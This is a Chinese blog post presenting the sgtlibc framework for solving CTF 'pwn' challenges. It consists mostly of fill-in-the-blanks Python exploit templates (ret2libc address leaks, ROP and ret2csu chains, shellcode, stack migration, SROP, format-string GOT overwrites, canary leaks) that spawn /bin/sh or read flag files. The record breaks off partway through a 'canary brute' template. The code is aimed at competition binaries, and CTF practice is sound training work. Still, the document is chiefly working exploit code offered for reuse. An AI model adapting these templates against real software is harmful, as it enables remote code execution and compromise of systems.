ctf比赛pwn题sgtlibc通用快速解题框架_serfend的博客-爱代码爱编程
CTF比赛PWN题sgtlibc通用快速解题框架
安装
开源地址:https://github.com/serfend/sgtlibc
使用 pip install sgtlibc -U
安装pwn解题框架
示例demo
目前收集了一些栈溢出上的通用解题框架,基本上对于简单题可以做到稍加修改配置即可解题,以实现1分钟得到flag效果。
- libc泄露模板
说明
- 模板可以在github-pwn下载原始文件
- 通常对于栈溢出的题,找到溢出点以后双击其buffer得到栈结构。观察得到r(return address)之前的长度。
- 将该长度填写到模板中相应位置,通常是 exp()中的b’a’ * [这里写长度]即可。
- 注意有的题main函数没有符号,导致无法通过 elf.symbols[‘main’]获取的,可以是在ida中找到入口函数地址,复制其值
- 将
main_addr = elf.symbols['main']
改为main_addr = 0x这里写地址
即可
- 将
- 在libc2.27版本以后,栈溢出需要检查栈是否平衡,可以是在返回地址前面加上一个
payload += [elf.rop['ret']]
以解决。 - 有时候题目会有一些输出,需要使用sla(sendlineafter)或ru(receive until)等方式将这些值过滤掉,以得到需要的数据。
模板
以下是一些可以修改一些参数即可立马运行的模板,业内称之为板子,1分钟交flag不是梦。
shellcode_binbash_x86
例题:buuctf start
import sgtlibc
import sgtlibc.utils
import sgtlibc.utils.shell
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./start',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
read_addr = 0x08048087 # 再次读入
padding = 0x48 - 0x34 # 判断返回地址到输入值的偏移
sa(b':', [b'a' * padding, read_addr])
stack_addr = u00(rc(4))
print(f'stack_addr:{hex(stack_addr)}')
shellcode = sgtlibc.utils.shell.shellcode86()
payload = [b'a' * padding]
payload += [stack_addr + padding] # 返回地址为shellcode开头位置
payload += [shellcode]
se(payload)
interactive()
system_bss_binsh_direct_x64
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=False,
file='./pwn',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
canary = b''
def exp():
# overflow position
data = [b'a' * (672),fakeebp()]
return data
bss_align20_addr = 0x00601079
payload = exp()
payload += [elf.rop['rdi'], bss_align20_addr, elf.plt['gets']]
payload += [elf.rop['rdi'], bss_align20_addr, elf.plt['system']]
pause()
sl(payload)
sl(b'/bin/sh\x00')
interactive()
shellcode_orw_x86
from sgtlibc.gamebox import *
import sgtlibc
from argparse import ArgumentError
from typing import Callable
from sgtpyutils.logger import logger
set_config(GameBoxConfig(
is_local=False,
file='./orw',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
sh = shellcraft.open('flag')
sh += shellcraft.read('eax','esp',100)
sh += shellcraft.write(1,'esp',100)
sh = asm(sh)
sl(sh)
interactive()
libc-leak_x86_puts
例题:ctfshow ret2libc_64 内部赛_签到题
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./5afea37c3946a',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
canary = b''
def exp():
# overflow position
data = [b'a' * (136),fakeebp()]
return data
main_addr = 0x0804859D # elf.symbols['main']
plt_write = elf.plt['puts']
def leak(func: str):
log.info(f'start leak {func}')
payload = exp()
payload += [plt_write, main_addr, elf.got[func]]
# 如果是read的话则sa,如果是gets scanf的话则sl
sla('information: ',payload)
# 清空输出
# ru('Hello,')
# rl()
data = rc(4) # 32位接收4个
data = u00(data)
log.info(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
pause()
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=0) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
ret_addr = elf.rop['ret'] # 栈平衡
payload = [exp(), ret_addr]
payload += [system_addr, fakeebp(), binsh_addr]
sl(payload)
interactive()
libc-leak_x86_write_pure
libc-leak_x86_write_with_bss
例题:buuctf [Black Watch 入群题]PWN
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.gamebox
from sgtlibc.utils.shell import check_shell_validate
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
is_local=False,
file='./level1',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
plt_write = elf.plt['write'] # write()
main_addr = elf.symbols['main'] # elf.symbols['vuln']
canary = b''
def exp():
# overflow position
data = [b'a' * (136),fakeebp()]
return data
pause()
def leak(func: str):
log.info(f'start leak {func}')
payload = exp()
# write(1,buffer,4)
payload += [plt_write, main_addr]
payload += [1, elf.got[func], 4]
# 如果是read的话则sa,如果是gets scanf的话则sl
se(payload)
data = rc(4) # 32位接收4个
data = u00(data)
s.add_condition(func, data)
log.info(f'leak {func} : {hex(data)}')
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('__libc_start_main')
# leak('strlen')
leak('write')
# leak('setbuf')
# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
# 再次利用payload,溢出执行system
def filter(x):
return True
return 'ubuntu' in x
data = s.dump(db_index=0, filter=filter)
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
pause()
ret_addr = elf.rop['ret'] # 栈平衡
payload = [exp(), ret_addr]
payload += [system_addr, fakeebp(), binsh_addr]
se(payload)
interactive()
注意例题中存在一些交互判断,需要将判断通过(修改what is your name等的接收)
libc-leak_x64_puts
import sgtlibc
from sgtlibc.gamebox import *
from sgtlibc.utils import shell
from sgtlibc.ROPgadgets.gadgets_exploit import gadget_by_csu
set_config(GameBoxConfig(
is_local=True,
file='./bypwn',
remote='192.168.2.107:9999',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def exp():
payload_exp = [b'a' * (128), fakeebp()] # overflow position
payload_exp += [[elf.rop['ret']] * 1]
return payload_exp
main_addr = 0x04006D2 # elf.symbols['main']
def leak(func: str):
log.warning(f'start leak {func}')
payload = [exp(), elf.rop['rdi'], elf.got[func],
elf.plt['puts']]
payload += [[elf.rop['ret']] * 3]
payload += [main_addr]
sla('EASY PWN PWN PWN~', payload)
# ru('input:\n')
interactive()
# ru(fakeebp()) # 如果有输出则清空缓存
rl()
data = rc(6).ljust(8, b'\0')
data = u00(data)
log.info(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
return data
pause()
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=1) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
ret_addr = elf.rop['ret'] # sometime maybe wrong
payload = [exp(), [ret_addr]*1] # 栈平衡
payload += [elf.rop['rdi'], binsh_addr, system_addr]
sl(payload)
interactive()
libc-leak_x64_write
retcsu_x64_leak_libc
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./ret2libc_64',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
canary = b''
def exp():
# overflow position
data = [b'a' * (136),fakeebp()]
return data
main_addr = elf.symbols['main']
def leak(func: str):
log.info(f'start leak {func}')
payload = exp()
# write(1,buffer,8)
payload += [elf.rop['rdi'], 1]
payload += [elf.rop['rsi_r15'], elf.got[func], 0] # csu必然有
payload += [elf.rop['rdx'], 8]
payload += [elf.plt['write']]
payload += [main_addr]
# 如果是read的话则sa,如果是gets scanf的话则sl
sl(payload)
rl()
data = rc(6).ljust(8, b'\0')
log.info(f'leak {func}:{data}')
data = u00(data)
s.add_condition(func, data)
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('gets')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=0) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
payload = exp()
payload += [[elf.rop['ret']] * 1] # 栈平衡
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()
retcsu_x64_with_syscall59
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./ciscn_s_3',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
main_addr = elf.symbols['main']
csu_init_addr = elf.symbols['__libc_csu_init']
rax_59_ret = 0x04004E2
syscall = 0x0400517
payload = [b'a' * 16, main_addr]
# gdb.attach(client.client, 'b 0x0400501')
pause()
sl(payload)
rc(0x20) # buf size
stack_addr = u00(rc(6)) # leak current ebp
# binsh_addr = stack_addr - 0x138 # 线上则是0x138 # esp - ebp
binsh_addr = stack_addr - 0x148 # 本地运行需要 -0x148
rax_59 = binsh_addr + 0x10
pop_rdi = 0x04005a3
log.info(f'stack_addr:{hex(stack_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
log.info(f'rax_59:{hex(rax_59)}')
payload = []
payload += [b'/bin/sh\x00', fakeebp(), rax_59_ret]
d = gadgets.gadget_by_csu(
libc_csu_init_address=csu_init_addr,
func_to_call=rax_59,
param1=0,
param2=0,
param3=0
)
payload += [gadgets.build(d)] # set rax to 59
payload += [pop_rdi, binsh_addr]
payload += [syscall]
# syscall_59 (binsh)
sl(payload)
interactive()
orw-x64-puts by_func
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
is_local=True,
file='./ret2dlresolve',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
rop = ROP(elf)
libc_path = '/lib/x86_64-linux-gnu/libseccomp.so.2'
flag_path = './flag\x00\x00'
bss_addr = 0x601800
main_addr = elf.symbols['main']
file_description = 3 # 需要根据当前fd值修改
def exp():
# overflow position
data = [b'a' * (16), fakeebp()]
return data
def leak(func: str):
log.warning(f'start leak {func}')
payload = [exp(), elf.rop['rdi'], elf.got[func],
elf.plt['puts']]
payload += [[elf.rop['ret']] * 1]
payload += [main_addr]
sa(b'welcome\n', payload)
# ru('input:\n')
# ru(fakeebp()) # 如果有输出则清空缓存
data = rc(6).ljust(8, b'\0')
data = u00(data)
log.info(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('puts')
libc = sgtlibc.ROPgadgets.ELF(libc_path, checksec=False)
libc.get_rop()
puts_libc_addr = libc.symbols['puts']
offset = addr - libc.symbols['puts']
open_addr = libc.symbols['open'] + offset
write_addr = libc.symbols['write'] + offset
success(f'write_addr:{hex(write_addr)}')
success(f'open_addr:{hex(open_addr)}')
def exp_control_rdirsirdx(rdi: int, rsi: int, rdx: int, r15: int = 0):
payload = []
payload += [elf.rop['rdi'], rdi]
payload += [elf.rop['rsi_r15'], rsi, r15] # csu必然有
payload += [libc.rop['rdx'] + offset, rdx]
return payload
payload = exp()
# 写入flag字符串到bss
payload += exp_control_rdirsirdx(0, bss_addr, len(flag_path))
payload += [elf.plt['read']]
# 打开flag文件
payload += exp_control_rdirsirdx(bss_addr, 0, 0)
payload += [open_addr]
# 读取flag内容
payload += exp_control_rdirsirdx(file_description, bss_addr, 0x100)
payload += [elf.plt['read']]
# 打印flag
payload += exp_control_rdirsirdx(1, bss_addr, 0x100)
payload += [write_addr]
se(payload)
sleep(0.5)
se(flag_path)
interactive()
orw-x64-puts by_syscall
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
is_local=True,
file='./ret2dlresolve',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
rop = ROP(elf)
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --multibr | grep 'syscall ; ret'
syscall_addr = 0x000058dba
flag_path = './flag\x00\x00'
bss_addr = 0x601800
main_addr = elf.symbols['main']
file_description = 3 # 需要根据当前fd值修改
def exp():
# overflow position
data = [b'a' * (16), fakeebp()]
return data
def leak(func: str):
log.warning(f'start leak {func}')
payload = [exp(), elf.rop['rdi'], elf.got[func],
elf.plt['puts']]
payload += [[elf.rop['ret']] * 1]
payload += [main_addr]
sa(b'welcome\n', payload)
# ru('input:\n')
# ru(fakeebp()) # 如果有输出则清空缓存
data = rc(6).ljust(8, b'\0')
data = u00(data)
log.info(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('puts')
libc = sgtlibc.ROPgadgets.ELF(libc_path)
libc.get_rop(show_banner=False)
pause()
puts_libc_addr = libc.symbols['puts']
offset = addr - libc.symbols['puts']
def exp_control_rdirsirdx(rdi: int, rsi: int, rdx: int, r15: int = 0):
payload = []
payload += [elf.rop['rdi'], rdi]
payload += [elf.rop['rsi_r15'], rsi, r15] # csu必然有
payload += [libc.rop['rdx'] + offset, rdx]
return payload
payload = exp()
# 写入flag字符串到bss
payload += exp_control_rdirsirdx(0, bss_addr, len(flag_path))
payload += [elf.plt['read']]
# 64位syscall 0:read 1:write 2:open
# 32位int 3:read 4:write 5:open
# 打开flag文件
open_syscall = 2
payload += [libc.rop['rax']+offset, open_syscall]
payload += exp_control_rdirsirdx(bss_addr, 0, 0)
payload += [syscall_addr+offset]
# 读取flag内容
payload += exp_control_rdirsirdx(file_description, bss_addr, 0x100)
payload += [elf.plt['read']]
# 打印flag
write_syscall = 1
payload += [libc.rop['rax']+offset, write_syscall]
payload += exp_control_rdirsirdx(1, bss_addr, 0x100)
payload += [syscall_addr+offset]
se(payload)
sleep(0.5)
se(flag_path)
interactive()
rop int80 -x86/x64
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
is_local=True,
file='./simplerop',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
read_addr = 0x0806CD50
binsh_addr = 0x080EB564
canary = b''
def exp():
# overflow position
data = [b'a' * (136),fakeebp()]
return data
# 如果是64位
# 寄存器:rax rbx rcx rdx
# 系统调用 int80(3) === write
# int80(11) === execve
# 如果是32位
# eax ebx ecx edx
# 系统调用 syscall(0) === write
# syscall(59) === execve
payload = exp()
# read(0,binsh,8)
# payload += [read_addr] # 题目有read则直接用
payload += [elf.rop['eax'], 3] # 没有的话则用int80(3)===read调用
payload += [elf.rop['edx_ecx_ebx'], 8, binsh_addr, 0]
payload += [elf.rop['int_80']]
# int11 -> execve(binsh,0,0)
payload += [elf.rop['eax'], constants.SYS_execve]
payload += [elf.rop['edx_ecx_ebx'], 0, 0, binsh_addr]
payload += [elf.rop['int_80']]
sl(payload)
sl(b'/bin/sh\x00')
interactive()
rop bss_move_pointer HARD
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./ciscn_s_8',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def encode(s: bytes):
res = b''
for i in range(len(s)):
res += (s[i] ^ 0x66).to_bytes(1, 'little')
return res
# 基于move [rxx], rxx 实现直接传入/bin/sh
bss = 0x06BD000 # 取一个没有被使用的区域
mov_rax_inrsi = 0x47f7b1 # 注意需要找一个后续会控制的寄存器
payload = p00(elf.rop['rsi']) + p00(bss)
payload += p00(elf.rop['rax']) + b'//bin/sh' # padding to 8 bytes
payload += p00(mov_rax_inrsi) # 找一个 mov [rsi], rax
payload += p00(elf.rop['rdi']) + p00(bss) # /bin/sh to bss
payload += p00(elf.rop['rdx_rsi']) + p00(0) * 2
payload += p00(elf.rop['rax']) + p00(0x3B) + p00(elf.rop['syscall_rdx_rsi'])
ru("Please enter your Password: \n")
payload = b'a'*0x50 + encode(payload)
sl(payload)
interactive()
stack migration to memory-x64
import sgtlibc
import sgtlibc.utils.shell
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./test',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
payload = []
align_len = 0x100 # 用于迁移后的rop
bss_addr = 0x00601800 - align_len - 8 # 直接用固定值0x601800,页对齐有0x1000可用
main_addr = 0x04006D2 # elf.symbols['main']
def migration():
sla('how long is your name: ', str(0x200)) # 该题是要求输入可用大小
sa('and what\'s you name? ', [b'a' * 128,
bss_addr, elf.rop['leave']]) # 使用leave完成栈迁移
sla('how long is your name: ', str(0x200)) # 该题是要求输入可用大小
def exp():
return [b'a' * align_len]
def leak(func: str):
migration()
log.warning(f'start leak {func}')
payload = [exp()] # 寻找一个直接ret的函数
# payload += [[0] * 0x15] # 地址过低导致旁边有got表,通过此升栈以避开
payload += [elf.rop['rdi'], elf.got[func], elf.plt['printf'], main_addr]
# sla(b' input\n',payload)
sa(b'and what\'s you name? ', payload)
# sl(payload)
# ru(fakeebp()) # 如果有输出则清空缓存
data = rc(6).ljust(8, b'\0')
log.info(f'data:{data}')
data = uc(data)
log.warning(f'leak {func}:{hex(data)}')
s.add_condition(func, data)
return data
pause()
# leak('printf')
leak('printf')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
data = s.dump(db_index=3) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
ret_addr = elf.rop['ret'] # sometime maybe wrong
payload = exp() # + p00(ret_addr) # 栈平衡
payload += [elf.rop['rdi'], binsh_addr, system_addr]
sl(payload)
migration()
interactive()
stack-migration to stack-x86
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
is_local=True,
file='./ciscn_s_4',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
# 栈迁移:泄露ebp或某个既定地址
buf_size = 40
payload = [b'a' * (buf_size-4), fakeebp()] # 方便查看结尾
se(payload) # read话用se , scanf 用sl
ru(fakeebp())
ebp = u00(rc(4))
buf_start = ebp - 0x38 # 查看发现ebp - buf_start = 0x38
log.info(f'ebp:{hex(ebp)}')
log.info(f'buf_start:{hex(buf_start)}')
system_addr = elf.plt['system'] # system要用plt,而不能用call
payload = [system_addr, fakeebp(), buf_start+12]
payload += [b'/bin/sh\x00']
payload = payload.ljust(buf_size, b'a')
payload += [buf_start-4] # 因为rsp会++,所以buf-4
payload += [elf.rop['leave']] # 使用leave重置栈继续执行
se(payload)
interactive()
SROP_syscall15
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./ciscn_2019_es_7',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
syscall_ret = elf.rop['syscall']
sigreturn_addr = 0x4004da # mov rax,0x0f
# system_addr = 0x4004E2 # mov rax,0x3b
def exp():
r = [b'/bin/sh\x00', b'a' * 8] # 此题没有leave,所以只需要覆盖到s的位置即可
ret_addr = elf.rop['ret']
r += [ret_addr] # 栈平衡
return r
# 0x4004f1 # 此处注意不要切出当前函数,否则会导致抬栈从而覆盖之前写入的binsh
read_addr = elf.symbols['vuln']
payload = [exp(), read_addr] # 返回到读取的地方
pause()
se(payload)
rc(32) # 定位到系统地址位置
stack_addr = u00(rc(8))
binsh_addr = stack_addr - 0x128 # 注意,本地经常性比远程会多-0x10
log.success(f'stack:{hex(stack_addr)}') # 泄露当前栈地址
log.success(f'stack:{hex(binsh_addr)}')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = exp()
payload += [sigreturn_addr, syscall_ret, bytes(sigframe)]
se(payload)
interactive()
format-string simple-x86
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
is_local=True,
file='./fm',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def exec(payload):
start_game()
sl(payload)
info = rl()
return info
# 通过迭代寻找格式化字符串位置
offset = FmtStr(exec, numbwritten=0x10).offset
# 格式化字符串修改指定地址
g_x_addr = elf.symbols['x']
payload = fmtstr_payload(offset, {g_x_addr: 4})
start_game()
sl(payload)
interactive()
format-string hijack_got-x64
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./pwn',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def exp(data: bytes):
start_game()
sla(b'input:\n', data)
r = rl()
return r
position = formats.exp_get_str_position(exp)
def hijack_func_to_main_addr():
start_game()
func_got = elf.got['memset']
main_addr = 0x400aa0
payload = fmtstr_payload(position, {func_got: main_addr})
sla(b'input:\n', payload)
hijack_func_to_main_addr()
libc_main_start_position = 25
payload = f'%{libc_main_start_position}$p'
sla(b' input name:\n', payload)
address = rl()[8:20] # 字符串类型取其中的值
address = int(address, 16)
print('address', hex(address))
s.add_condition('__libc_start_main_ret', address)
s.dump(db_index=1)
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
def set_printf_to_system(system):
printf_got_addr = elf.got['printf']
x = system & 0xffffffff
a = x & 0xffff
a1 = printf_got_addr
b = (x >> 16) & 0xffff
b1 = printf_got_addr+2
if(a > b):
tmp = a
a = b
b = tmp
tmp = a1
a1 = b1
b1 = tmp
s = f"%{a}c%12$hn"
s += f"%{(b-a)}c%13$hn"
s = s.ljust(32, 'a')
s = s.encode()
s += p64(a1)
s += p64(b1)
return s
payload = set_printf_to_system(system_addr)
print(payload)
# payload = fmtstr_payload(position, {elf.got['printf']: system_addr})
# print(payload)
sl(payload)
sl(b'/bin/sh\x00')
interactive()
format-string leak-x64
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True,
file='./frm2-no-relro',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
elf_base_position = 65
elf_base_offset = -0x126b
libc_main_start_position = 67
stack_position = -1 # 泄露栈地址
stack_offset = -0x8
def exp(data: bytes):
start_game()
sla(b'input:\n', data)
r = rl()
return r
# position = formats.exp_get_str_position(exp)
position = 6
pause()
def leak(offset2input_position: int, offset_addr: int = 0, alias: str = 'address') -> bytes:
payload = f'aa.%{position+offset2input_position}$p'
sla(b'input:\n', payload)
ru(b'aa.')
data_line = rl()
address = int(data_line, 16)
success(f'leak {alias} : {hex(address)}')
return address + offset_addr
elf_base_addr = leak(elf_base_position, elf_base_offset, alias='elf_base')
libc_main_start_addr = leak(libc_main_start_position, alias='libc_main_start')
s.add_condition('__libc_start_main_ret', libc_main_start_addr)
s.dump(db_index=0)
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
if stack_position>0:
stack_addr = leak(stack_position, stack_offset, alias='stack')
payload = fmtstr_payload(position, {
elf.got['printf'] + elf_base_addr: system_addr
},)
sl(payload)
sleep(0.5)
sl('/bin/sh|\x00')
interactive()
canary by format-and-leak-x86
import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
is_local=True,
file='./pwn1',
remote='192.168.2.0:8888',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
plt_write = elf.plt['puts']
main_addr = elf.symbols['main']
canary = b''
def exp_fmt(data: bytes):
start_game()
sla(b'your name:', data)
rl()
r = rc(20)
print('line', r)
return r
# position = formats.exp_get_str_position(exp_fmt)
position = 42 # formats.exp_get_str_position(exp_fmt)
log.info(f'position:{position}')
canary_pos = position - 11 # 发个aaaa,调试canary位置 - aaaa的位置 / size_arch
start_game()
sla(b'your name:', f'%{canary_pos}$p')
print('233', rl()) # 清空输出
canary = rc(10) # canary is full-8bytes endwith 00
print(f'raw canary :{canary}')
canary = canary[2:10]
# canary = int(canary,16)
canary = bytes.fromhex(canary.decode())[::-1] # little-indian
log.info(f'canary:{canary.hex()}')
def exp():
# overflow position
data = [b'a' * (100), canary, (b'' if not canary else fakeebp() * 3)]
return data
def leak(func: str):
log.info(f'leak:{func}')
global canary
# 泄露libc
payload = exp()
payload += [plt_write, main_addr, elf.got[func]]
# 如果是read的话则sa,如果是gets scanf的话则sl
sla('messages', payload)
# log.info(f'clear:{rl()}') # 清空输出
data = rl()[1:5] # 此处直接接收
# data = rc(4) # 32位接收4个
print('data', data.hex())
data = uc(data)
s.add_condition(func, data)
print('leak', func, hex(data))
return data
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
leak('__libc_start_main')
sl('123')
ru(b'123') # 此处因为样本read了2次,需要跳过第一次
leak('puts')
# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset
sl('123')
ru(b'123') # 此处因为样本read了2次,需要跳过第一次
data = s.dump(db_index=0) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
payload = exp()
payload += [elf.rop['ret']] # 栈平衡
payload += [system_addr, fakeebp(), binsh_addr]
sl(payload)
interactive()
canary brute
import sgtlibc
from sgtlibc.gamebox import *
from sgtlibc.ROPgadgets.gadgets_exploit import gadget_by_csu
set_config(GameBoxConfig(
is_local=True,
file='./fork',
remote='192.168.2.0:8888',
auto_load=True,
